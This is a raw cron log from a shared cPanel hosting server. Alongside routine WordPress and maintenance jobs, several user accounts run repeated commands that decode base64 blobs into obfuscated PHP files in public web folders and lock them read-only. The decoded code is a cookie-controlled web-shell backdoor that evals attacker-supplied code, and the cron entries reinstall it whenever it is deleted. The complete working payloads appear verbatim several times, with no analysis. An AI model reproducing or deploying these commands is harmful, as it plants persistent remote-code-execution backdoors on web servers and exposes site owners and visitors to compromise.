Mar  2 00:15:02 medusa CROND[7683]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:15:02 medusa CROND[7693]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:15:02 medusa CROND[7642]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 00:16:01 medusa CROND[14287]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:16:01 medusa CROND[14324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:16:01 medusa CROND[14506]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:16:01 medusa CROND[14508]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:16:01 medusa CROND[14510]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:16:01 medusa CROND[14512]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:16:01 medusa CROND[14514]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:16:01 medusa CROND[14515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:16:01 medusa CROND[14517]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:16:01 medusa CROND[14520]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:16:01 medusa CROND[14525]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:16:01 medusa CROND[14524]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:16:01 medusa CROND[14530]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:16:01 medusa CROND[14536]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:17:02 medusa CROND[21457]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:17:02 medusa CROND[21577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:17:02 medusa CROND[21578]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:17:02 medusa CROND[21580]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:17:02 medusa CROND[21581]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:17:02 medusa CROND[21582]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:17:02 medusa CROND[21585]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:17:02 medusa CROND[21588]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:17:02 medusa CROND[21589]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:17:02 medusa CROND[21590]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 00:17:02 medusa CROND[21586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:17:02 medusa CROND[21593]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:17:02 medusa CROND[21596]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:18:01 medusa CROND[27940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:18:02 medusa CROND[28093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:18:02 medusa CROND[28176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:18:02 medusa CROND[28178]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:18:02 medusa CROND[28184]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:18:02 medusa CROND[28186]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
